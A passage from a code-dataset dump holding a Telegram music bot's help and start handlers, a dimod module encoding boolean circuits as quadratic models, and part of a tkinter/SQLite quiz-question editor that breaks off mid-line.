{"api_name": "tensorflow.make_template", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.make_template", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.ConfigProto", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.InteractiveSession", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.examples.tutorials.mnist.input_data.read_data_sets", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.examples.tutorials.mnist.input_data", "line_number": 69, "usage_type": "name"}, {"api_name": "tensorflow.placeholder", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.bool", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 74, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_sum", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.control_dependencies", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax_cross_entropy_with_logits", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tensorflow.equal", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 101, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 101, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "tensorflow.truncated_normal", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 154, "usage_type": "attribute"}]} +{"seq_id": "26750414097", "text": "# AlvinMusicRobot (Telegram bot project )\r\n# Copyright (C) 2021 Inukaasith\r\n\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU Affero General Public License as\r\n# published by the Free Software Foundation, either version 3 of the\r\n# License, or (at your option) any later version.\r\n\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU Affero General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU Affero General Public License\r\n# along with this program. If not, see .\r\n\r\nimport logging\r\nfrom AlvinMusicRobot.modules.msg import Messages as tr\r\nfrom pyrogram import Client\r\nfrom pyrogram import filters\r\nfrom pyrogram.types import InlineKeyboardMarkup\r\nfrom pyrogram.types import InlineKeyboardButton\r\nfrom pyrogram.types import Message\r\nfrom AlvinMusicRobot.config import ASSISTANT_NAME\r\nfrom AlvinMusicRobot.config import PROJECT_NAME\r\nfrom AlvinMusicRobot.config import SUPPORT_GRP\r\nfrom AlvinMusicRobot.config import SUPPORT_MODE\r\nfrom AlvinMusicRobot.config import UPDATES_CH\r\nfrom AlvinMusicRobot.config import UPDATES_MODE\r\nfrom AlvinMusicRobot.config import BOT_USERNAME\r\nfrom AlvinMusicRobot.config import BOT_NAME\r\nfrom AlvinMusicRobot.config import CREATOR_USERNAME as owner\r\nfrom AlvinMusicRobot.config import OWNER_MODE as mod\r\nfrom AlvinMusicRobot.config import SOURCE_CODE as git\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\n@Client.on_message(filters.private & filters.incoming & filters.command(['start']))\r\ndef _start(client, message):\r\n client.send_message(message.chat.id,\r\n text=tr.START_MSG.format(message.from_user.first_name, message.from_user.id),\r\n parse_mode=\"markdown\",\r\n reply_markup=InlineKeyboardMarkup(\r\n [\r\n [\r\n InlineKeyboardButton(\r\n f\"➕ Tambahkan {BOT_NAME} Ke Group ➕\", url=f\"https://t.me/{BOT_USERNAME}?startgroup=true\")],\r\n [\r\n InlineKeyboardButton(\r\n f\"⚜️{mod}🔰\", url=f\"https://t.me/{owner}\")\r\n ],[\r\n InlineKeyboardButton(\r\n f\"🔔 {UPDATES_MODE}\", url=f\"https://t.me/{UPDATES_CH}\"), \r\n InlineKeyboardButton(\r\n f\"📣 {SUPPORT_MODE}\", url=f\"https://t.me/{SUPPORT_GRP}\")\r\n ],[\r\n InlineKeyboardButton(\r\n \"🔍 Source Code 🔎\", url=f\"https://{git}\")\r\n ]\r\n ]\r\n ),\r\n reply_to_message_id=message.message_id\r\n )\r\n\r\n@Client.on_message(filters.command(\"start\") & ~filters.private & ~filters.channel)\r\nasync def gstart(_, message: Message):\r\n await message.reply_text(\r\n f\"\"\"**🔴 {PROJECT_NAME} sudah online**\"\"\",\r\n reply_markup=InlineKeyboardMarkup(\r\n [\r\n [\r\n InlineKeyboardButton(\r\n f\"📣 {SUPPORT_MODE}\", url=f\"https://t.me/{SUPPORT_GRP}\"\r\n )\r\n ]\r\n ]\r\n ),\r\n )\r\n\r\n\r\n@Client.on_message(filters.private & filters.incoming & filters.command(['help']))\r\ndef _help(client, message):\r\n client.send_message(chat_id = message.chat.id,\r\n text = tr.HELP_MSG[1],\r\n parse_mode=\"markdown\",\r\n disable_web_page_preview=True,\r\n disable_notification=True,\r\n reply_markup = InlineKeyboardMarkup(map(1)),\r\n reply_to_message_id = message.message_id\r\n )\r\n\r\nhelp_callback_filter = filters.create(lambda _, __, query: query.data.startswith('help+'))\r\n\r\n@Client.on_callback_query(help_callback_filter)\r\ndef help_answer(client, callback_query):\r\n chat_id = callback_query.from_user.id\r\n disable_web_page_preview=True\r\n message_id = callback_query.message.message_id\r\n msg = int(callback_query.data.split('+')[1])\r\n client.edit_message_text(chat_id=chat_id, message_id=message_id,\r\n text=tr.HELP_MSG[msg], reply_markup=InlineKeyboardMarkup(map(msg))\r\n )\r\n\r\n\r\ndef map(pos):\r\n if(pos==1):\r\n button = [\r\n [InlineKeyboardButton(text = 'Next▶️', callback_data = \"help+2\")]\r\n ]\r\n elif(pos==len(tr.HELP_MSG)-1):\r\n url = f\"https://t.me/{SUPPORT_GRP}\"\r\n button = [\r\n [InlineKeyboardButton(f\"➕ Tambahkan {BOT_NAME} Ke Group ➕\", url=f\"https://t.me/{BOT_USERNAME}?startgroup=true\")],\r\n [InlineKeyboardButton(text = f'🔔 {UPDATES_MODE}', url=f\"https://t.me/{UPDATES_CH}\"),\r\n InlineKeyboardButton(text = f'📣 {SUPPORT_MODE}', url=f\"https://t.me/{SUPPORT_GRP}\")],\r\n [InlineKeyboardButton(text = '🔍 Source Code 🔎', url=f\"https://{git}\")],\r\n [InlineKeyboardButton(text = '◀️Back', callback_data = f\"help+{pos-1}\")]\r\n ]\r\n else:\r\n button = [\r\n [\r\n InlineKeyboardButton(text = '◀️Back', callback_data = f\"help+{pos-1}\"),\r\n InlineKeyboardButton(text = 'Next▶️', callback_data = f\"help+{pos+1}\")\r\n ],\r\n ]\r\n return button\r\n\r\n@Client.on_message(filters.command(\"help\") & ~filters.private & ~filters.channel)\r\nasync def ghelp(_, message: Message):\r\n await message.reply_text(\r\n f\"\"\"**🎵 Halo! Saya dapat memutar musik di voice chat grup dan channel telegram.**\"\"\",\r\n reply_markup=InlineKeyboardMarkup(\r\n [\r\n [\r\n InlineKeyboardButton(\r\n f\"♾ Ini Untuk Bantuan {BOT_NAME} ♾\", url=f\"https://t.me/{BOT_USERNAME}?start\"\r\n )\r\n ]\r\n ]\r\n ),\r\n )\r\n\r\n", "repo_name": "fahrial2310/Music-TeleBot-IDN", "sub_path": "AlvinMusicRobot/modules/private.py", "file_name": "private.py", "file_ext": "py", "file_size_in_byte": 5837, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.basicConfig", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 35, "usage_type": "attribute"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages.START_MSG.format", "line_number": 40, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages.START_MSG", "line_number": 40, "usage_type": "attribute"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages", "line_number": 40, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 42, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 45, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.BOT_NAME", "line_number": 46, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.BOT_USERNAME", "line_number": 46, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 48, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.OWNER_MODE", "line_number": 49, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.CREATOR_USERNAME", "line_number": 49, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 51, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.UPDATES_MODE", "line_number": 52, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.UPDATES_CH", "line_number": 52, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 53, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_MODE", "line_number": 54, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_GRP", "line_number": 54, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 56, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.SOURCE_CODE", "line_number": 57, "usage_type": "name"}, {"api_name": "pyrogram.Client.on_message", "line_number": 37, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 37, "usage_type": "name"}, {"api_name": "pyrogram.filters.private", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pyrogram.filters", "line_number": 37, "usage_type": "name"}, {"api_name": "pyrogram.filters.incoming", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pyrogram.filters.command", "line_number": 37, "usage_type": "call"}, {"api_name": "pyrogram.types.Message", "line_number": 65, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.PROJECT_NAME", "line_number": 67, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 68, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 71, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_MODE", "line_number": 72, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_GRP", "line_number": 72, "usage_type": "name"}, {"api_name": "pyrogram.Client.on_message", "line_number": 64, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 64, "usage_type": "name"}, {"api_name": "pyrogram.filters.command", "line_number": 64, "usage_type": "call"}, {"api_name": "pyrogram.filters", "line_number": 64, "usage_type": "name"}, {"api_name": "pyrogram.filters.private", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pyrogram.filters.channel", "line_number": 64, "usage_type": "attribute"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages.HELP_MSG", "line_number": 83, "usage_type": "attribute"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages", "line_number": 83, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 87, "usage_type": "call"}, {"api_name": "pyrogram.Client.on_message", "line_number": 80, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 80, "usage_type": "name"}, {"api_name": "pyrogram.filters.private", "line_number": 80, "usage_type": "attribute"}, {"api_name": "pyrogram.filters", "line_number": 80, "usage_type": "name"}, {"api_name": "pyrogram.filters.incoming", "line_number": 80, "usage_type": "attribute"}, {"api_name": "pyrogram.filters.command", "line_number": 80, "usage_type": "call"}, {"api_name": "pyrogram.filters.create", "line_number": 91, "usage_type": "call"}, {"api_name": "pyrogram.filters", "line_number": 91, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages.HELP_MSG", "line_number": 100, "usage_type": "attribute"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages", "line_number": 100, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 100, "usage_type": "call"}, {"api_name": "pyrogram.Client.on_callback_query", "line_number": 93, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 93, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 107, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages.HELP_MSG", "line_number": 109, "usage_type": "attribute"}, {"api_name": "AlvinMusicRobot.modules.msg.Messages", "line_number": 109, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_GRP", "line_number": 110, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 112, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.BOT_NAME", "line_number": 112, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.BOT_USERNAME", "line_number": 112, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 113, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.UPDATES_MODE", "line_number": 113, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.UPDATES_CH", "line_number": 113, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 114, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_MODE", "line_number": 114, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.SUPPORT_GRP", "line_number": 114, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 115, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.SOURCE_CODE", "line_number": 115, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 116, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 121, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 122, "usage_type": "call"}, {"api_name": "pyrogram.types.Message", "line_number": 128, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 131, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 134, "usage_type": "call"}, {"api_name": "AlvinMusicRobot.config.BOT_NAME", "line_number": 135, "usage_type": "name"}, {"api_name": "AlvinMusicRobot.config.BOT_USERNAME", "line_number": 135, "usage_type": "name"}, {"api_name": "pyrogram.Client.on_message", "line_number": 127, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 127, "usage_type": "name"}, {"api_name": "pyrogram.filters.command", "line_number": 127, "usage_type": "call"}, {"api_name": "pyrogram.filters", "line_number": 127, "usage_type": "name"}, {"api_name": "pyrogram.filters.private", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pyrogram.filters.channel", "line_number": 127, "usage_type": "attribute"}]} +{"seq_id": "30284977086", "text": "import itertools\nimport random\nimport dimod\n\n\n## maybe replace with an xor gate????\ndef or_gate(a, b):\n return a or b\n\n\ndef and_gate(a, b):\n return a and b\n\n\ndef control_gate(s, a, b):\n \"\"\"\n Returns a or b depending on the value of s.\n\n :param s: Control parameter, Bool\n :param a: First input, Bool\n :param b: Second input, Bool\n :return: Bool\n \"\"\"\n\n a_side = a and s\n b_side = b and not s\n return a_side or b_side\n\n\ndef base_gate(s, a, b):\n return control_gate(s, and_gate(a, b), or_gate(a, b))\n\n\ndef trivial_fun(x):\n return x\n\n\ndef sanitize_inputs(x):\n \"\"\" for x an iterable\"\"\"\n return [not not x_i for x_i in x]\n\n\ndef recursive_circuit(s, x):\n \"\"\"\n Recursive circuit\n :param s: list/iterable of control variables s (spins in dwave)\n :param x: list/iterable of inputs\n :return: single boolean\n \"\"\"\n n_s = len(s)\n n_x = len(x)\n n = n_x - 1\n if int((n_x * (n_x - 1) / 2)) != n_s:\n raise ValueError(\"number of s arguments must be compatible with number of x arguments\")\n\n s = sanitize_inputs(s)\n x = sanitize_inputs(x)\n\n # need a base case\n if n_s <= 0:\n return x[0]\n\n remaining_s = s[n:]\n layer_output = [base_gate(s[i], x[i], x[i + 1]) for i in range(n)]\n return recursive_circuit(remaining_s, layer_output)\n\n\ndef wrap_recursive_circuit(n):\n \"\"\"\n Wrapper function to map recursive_circuit into a form that d-wave can accept\n :param n: layer depth for circuit\n :return:\n \"\"\"\n n_s = int(n * (n + 1) / 2)\n n_x = n + 1\n\n s = [\"s{}\".format(i) for i in range(n_s)]\n x = [\"x{}\".format(i) for i in range(n_x)]\n\n def fun_of_args(*args):\n if len(args) != n_s + n_x:\n raise ValueError(\"incorrect number of arguments\")\n s_vars = args[0:n_s]\n x_vars = args[n_s:-1]\n return recursive_circuit(s_vars, x_vars)\n\n return fun_of_args, s, x\n\n\ndef get_ns_nx(n):\n n_s = n * (n + 1) / 2\n n_x = n + 1\n return int(n_s), int(n_x)\n\n\ndef get_random_bits(n):\n return [bool(random.getrandbits(1)) for i in range(n)]\n\n\ndef split_and_add(l):\n \"\"\"\n :param l: list of lists of booleans\n :return:\n \"\"\"\n l_1 = [l_i + [0] for l_i in l]\n l_2 = [l_i + [1] for l_i in l]\n return l_1 + l_2\n\n\ndef make_specific_circuit(s):\n return lambda x: recursive_circuit(s, x)\n\n\ndef make_complete_data(specific_circuit, n):\n x_data = list(itertools.product([False, True], repeat=n + 1))\n\n y_data = []\n for row in x_data:\n y_data.append(specific_circuit(row))\n\n return x_data, y_data\n\ndef wrap_with_data(x_data, y_data):\n\n def output(args):\n for (x_row, y) in zip(x_data, y_data):\n if recursive_circuit(args, x_row) != y:\n return False\n return True\n\n return output\n\n\ndef wrap_with_complete_data(specific_circuit, n):\n x_data, y_data = make_complete_data(specific_circuit, n)\n\n return wrap_with_data(x_data, y_data)\n\ndef check_circuits_equivalent(weights_1, weights_2, n):\n x_data = list(itertools.product([False, True], repeat=n + 1))\n\n circuit_1 = make_specific_circuit(weights_1)\n circuit_2 = make_specific_circuit(weights_2)\n\n return all(circuit_1(x_row) == circuit_2(x_row) for x_row in x_data)\n\n\ndef make_base_polynomial(y, z_1, z_2, s):\n \"\"\"\n Makes a polynomial of form Y + Z_1, + Z_2 + 2 Y S - 2 Y Z_1 - 2 Y Z_2 - S Z_1 - S Z_2 + Z_1 Z_2 ,\n which represents the base_gate as a polynomial.\n inputs: y, z_1, z_2, s are all strings which represent variable names which will be put into a binary quadratic model.\n :return: dict of tuples to values\n \"\"\"\n return {(y,): 1, (z_1,): 1, (z_2,): 1, (y, z_1): -2, (y, z_2): -2, (y, s): 2, (z_1, s): -1, (z_2, s): -1,\n (z_1, z_2): 1}\n\ndef make_output_polynomial(y_val, z_1, z_2, s):\n \"\"\"\n Makes a polynomial as above which contains the restriction that y is equal to a certain value. ,\n inputs: z_1, z_2, s are all strings which represent variable names which will be put into a binary quadratic model.\n y_val is the actual value of y.\n :return: dict of tuples to values\n \"\"\"\n\n if not y_val:\n return {(z_1,): 1, (z_2,): 1, (z_1, s): -1, (z_2, s): -1, (z_1, z_2): 1}\n else:\n return {(z_1,): -1, (z_2,): -1, (s,): 2, (z_1, s): -1, (z_2, s): -1, (z_1, z_2): 1}\n\ndef make_input_polynomial(y, z_1_val, z_2_val, s):\n \"\"\"\n Makes a polynomial as above which contains the restriction that z_1 and z_2 are equal to a certain value.\n inputs: y, z_1, z_2, s are all strings which represent variable names which will be put into a binary quadratic model.\n :return: dict of tuples to values\n \"\"\"\n\n if (not z_1_val) and (not z_2_val):\n return {(y,): 1, (y, s): 2}\n if z_1_val and z_2_val:\n return {(y,): -3, (y, s): 2, (s,): -2}\n\n return {(y,): -1, (y, s): 2, (s, ): -1}\n\ndef _merge_dicts_and_add(dict1, dict2):\n output_dict = { key: value for key, value in dict1.items() }\n for key, value in dict2.items():\n output_dict[key] = output_dict.get(key, 0) + value\n\n return output_dict\n\ndef merge_dicts_and_add(*args):\n output = {}\n for d in args:\n output = _merge_dicts_and_add(output, d)\n return output\n\ndef make_polynomial_for_datapoint(y_val, x_vals, z_start=0):\n if len(x_vals) == 2:\n return { ('s_0',): ( 2 * y_val - 1 * x_vals[0] - 1 * x_vals[1]) }, 0\n if len(x_vals) < 2:\n raise ValueError(\"Please input a non-trivial amount of x values\")\n\n polynomial = {}\n\n # First layer\n layer = [\"z_{}\".format(i + z_start) for i in range(len(x_vals)-1)]\n s_vals = [\"s_{}\".format(i) for i in range(len(x_vals)-1)]\n auxiliary_bit_tally = len(layer) + z_start\n s_bit_tally = len(s_vals)\n for x_i, x_j, z_i, s in zip(x_vals[0:-1], x_vals[1:], layer, s_vals):\n polynomial = merge_dicts_and_add(polynomial, make_input_polynomial(z_i, x_i, x_j, s))\n\n # Middle layers\n while len(layer) > 2:\n next_layer = [\"z_{}\".format(i + auxiliary_bit_tally) for i in range(len(layer)-1)]\n s_vals = [\"s_{}\".format(i + s_bit_tally) for i in range(len(layer)-1)]\n for y, x_i, x_j, s in zip(next_layer, layer[0:-1], layer[1:], s_vals):\n polynomial = merge_dicts_and_add(polynomial, make_base_polynomial(y, x_i, x_j, s))\n\n layer = next_layer\n auxiliary_bit_tally += len(next_layer)\n s_bit_tally += len(s_vals)\n\n # End layer\n z_1 = layer[0]\n z_2 = layer[1]\n s = \"s_{}\".format(s_bit_tally)\n polynomial = merge_dicts_and_add(polynomial, make_output_polynomial(y_val, z_1, z_2, s))\n return polynomial, auxiliary_bit_tally\n\n\ndef make_polynomial_for_many_datapoints(y_vals, x_vals):\n \"\"\" Same as above but x_vals and y_vals are lists \"\"\"\n if len(y_vals) != len(x_vals):\n raise ValueError(\"x and y data don't match\")\n if len(set(len(x) for x in x_vals)) != 1:\n raise ValueError(\"x data is not all same length\")\n if len(x_vals[0]) < 2:\n raise ValueError(\"please enter at least two x values\")\n\n polys = []\n z_start = 0\n for y, x_row in zip(y_vals, x_vals):\n poly, z_start = make_polynomial_for_datapoint(y, x_row, z_start)\n polys += [poly]\n\n return merge_dicts_and_add(*polys)\n\n\ndef make_bqm(polynomial, offset):\n \"\"\" polynomial is a dictionary with tuples as keys\"\"\"\n\n linear = {}\n quadratic = {}\n\n for key, value in polynomial.items():\n if len(key) == 1:\n linear[key[0]] = value\n else:\n quadratic[key] = value\n\n return dimod.BinaryQuadraticModel(linear, quadratic, offset, vartype=dimod.BINARY)\n", "repo_name": "MartinDupont/dwave-test", "sub_path": "circuit_guesser/circuits.py", "file_name": "circuits.py", "file_ext": "py", "file_size_in_byte": 7613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "random.getrandbits", "line_number": 97, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 115, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 140, "usage_type": "call"}, {"api_name": "dimod.BinaryQuadraticModel", "line_number": 263, "usage_type": "call"}, {"api_name": "dimod.BINARY", "line_number": 263, "usage_type": "attribute"}]} +{"seq_id": "26632928252", "text": "import sqlite3\nimport time\nfrom tkinter import *\nfrom tkinter.ttk import Treeview\nfrom tkinter.ttk import Button\nfrom tkinter.ttk import Combobox\n\nimport options\nfrom style import font\nfrom windowConfig import window\n\nframe_add_questions = Frame(window, padx=10, pady=5)\nframe_show_questions = Frame(window, padx=10, pady=5)\nframe_table = Frame(frame_show_questions)\nframe_under_table = Frame(frame_show_questions)\nlabel_question_info = Label(frame_add_questions, text=\"\", font=font)\nvsb = Scrollbar(frame_table)\ntree = Treeview(frame_table, column=(\"c1\", \"c2\", \"c3\"), show='headings', yscrollcommand=vsb.set, selectmode=\"browse\")\nanswers = {\"Answer 1\": 1, \"Answer 2\": 2, \"Answer 3\": 3, \"Answer 4\": 4}\n\n\ndef show_add_questions_page(frame):\n frame.grid_forget()\n frame_add_questions.pack(expand=True, fill=BOTH)\n window.geometry('{}x{}'.format(600, 700))\n window.resizable(width=True, height=True)\n label_question_info.config(text=\"\", foreground=\"green\")\n\n\ndef show_questions_page(frame):\n frame.grid_forget()\n frame_show_questions.pack(expand=True, fill=BOTH, anchor=N)\n frame_table.pack(expand=True, fill=BOTH)\n frame_under_table.pack(fill=X)\n window.geometry('{}x{}'.format(800, 700))\n window.resizable(width=True, height=True)\n\n con = sqlite3.connect('teste.db')\n c = con.cursor()\n\n c.execute('SELECT * FROM questions')\n\n questions = c.fetchall()\n for i in tree.get_children():\n tree.delete(i)\n for row in questions:\n q = row[1].partition(\"\\n\")[0]\n if \"\\n\" in row[1]:\n q += \" ...\"\n row = [row[0], q, row[6]]\n tree.insert(\"\", END, values=row, tags=('evenrow',))\n\n con.close()\n\n\ndef load_show_questions_page():\n vsb.pack(fill=Y, side=RIGHT)\n vsb.config(command=tree.yview)\n tree.column(\"#1\", anchor=CENTER, width=40, stretch=NO)\n tree.heading(\"#1\", text=\"ID\")\n tree.column(\"#2\", anchor=W)\n tree.heading(\"#2\", text=\"Question\")\n tree.column(\"#3\", anchor=CENTER, width=80, stretch=NO)\n tree.heading(\"#3\", text=\"Answer\")\n tree.pack(expand=True, fill=BOTH)\n\n button_remove = Button(frame_under_table, text=\"Remove selected\",\n command=lambda: remove_question())\n button_remove.pack(pady=(5, 10), anchor=W)\n\n button_back = Button(frame_under_table, text=\"< Back\", width=8,\n command=lambda: options.back_to_options_pack(frame_show_questions))\n button_back.pack(pady=10)\n\n\ndef load_add_questions_page():\n label_question = Label(frame_add_questions, text=\"Question:\", font=font)\n label_question.pack(anchor=W)\n\n entry = Text(frame_add_questions, font=font, height=6)\n entry.pack(expand=True, fill=BOTH)\n\n label_answer1 = Label(frame_add_questions, text=\"Answer 1:\", font=font)\n label_answer1.pack(pady=(10, 0), anchor=W)\n\n entry1 = Text(frame_add_questions, font=font, height=1)\n entry1.pack(expand=True, fill=BOTH)\n\n label_answer2 = Label(frame_add_questions, text=\"Answer 2:\", font=font)\n label_answer2.pack(pady=(10, 0), anchor=W)\n\n entry2 = Text(frame_add_questions, font=font, height=1)\n entry2.pack(expand=True, fill=BOTH)\n\n label_answer3 = Label(frame_add_questions, text=\"Answer 3:\", font=font)\n label_answer3.pack(pady=(10, 0), anchor=W)\n\n entry3 = Text(frame_add_questions, font=font, height=1)\n entry3.pack(expand=True, fill=BOTH)\n\n label_answer4 = Label(frame_add_questions, text=\"Answer 4:\", font=font)\n label_answer4.pack(pady=(10, 0), anchor=W)\n\n entry4 = Text(frame_add_questions, font=font, height=1)\n entry4.pack(expand=True, fill=BOTH)\n\n label_correct_answer = Label(frame_add_questions, text=\"Correct Answer:\", font=font)\n label_correct_answer.pack(pady=(10, 0), anchor=W)\n\n variable = StringVar(frame_add_questions)\n\n select = Combobox(frame_add_questions, textvariable=variable, font=font, width=10,\n values=(\"Answer 1\", \"Answer 2\", \"Answer 3\", \"Answer 4\"))\n frame_add_questions.option_add('*TCombobox*Listbox.font', (\"Arial\", 12))\n select.set(\"Answer 1\")\n select.pack(anchor=W)\n\n label_question_info.pack(pady=(10, 0), anchor=W)\n\n button_save = Button(frame_add_questions, text=\"Save\", width=8,\n command=lambda: save_question(entry, entry1, entry2, entry3, entry4, variable,\n label_question_info))\n button_save.pack(pady=(10, 0))\n\n button_back = Button(frame_add_questions, text=\"< Back\", width=8,\n command=lambda: options.back_to_options_pack(frame_add_questions))\n button_back.pack(anchor=W)\n\n\ndef save_question(question, answer1, answer2, answer3, answer4, correct_answer, label):\n if question.get(\"1.0\", \"end-1c\") == \"\" or answer1.get(\"1.0\", \"end-1c\") == \"\" or answer2.get(\"1.0\", \"end-1c\") == \"\" \\\n or answer3.get(\"1.0\", \"end-1c\") == \"\" or answer4.get(\"1.0\", \"end-1c\") == \"\":\n label.config(text=\"Empty fields not allowed.\", foreground=\"red\")\n else:\n now = int(time.time())\n con = sqlite3.connect('teste.db')\n c = con.cursor()\n\n c.execute(f\"INSERT INTO questions (question, answer1, answer2, answer3, answer4, correct_answer, date) VALUES \"\n f\"(?,?,?,?,?,?,{now})\", (question.get(\"1.0\", \"end-1c\"), 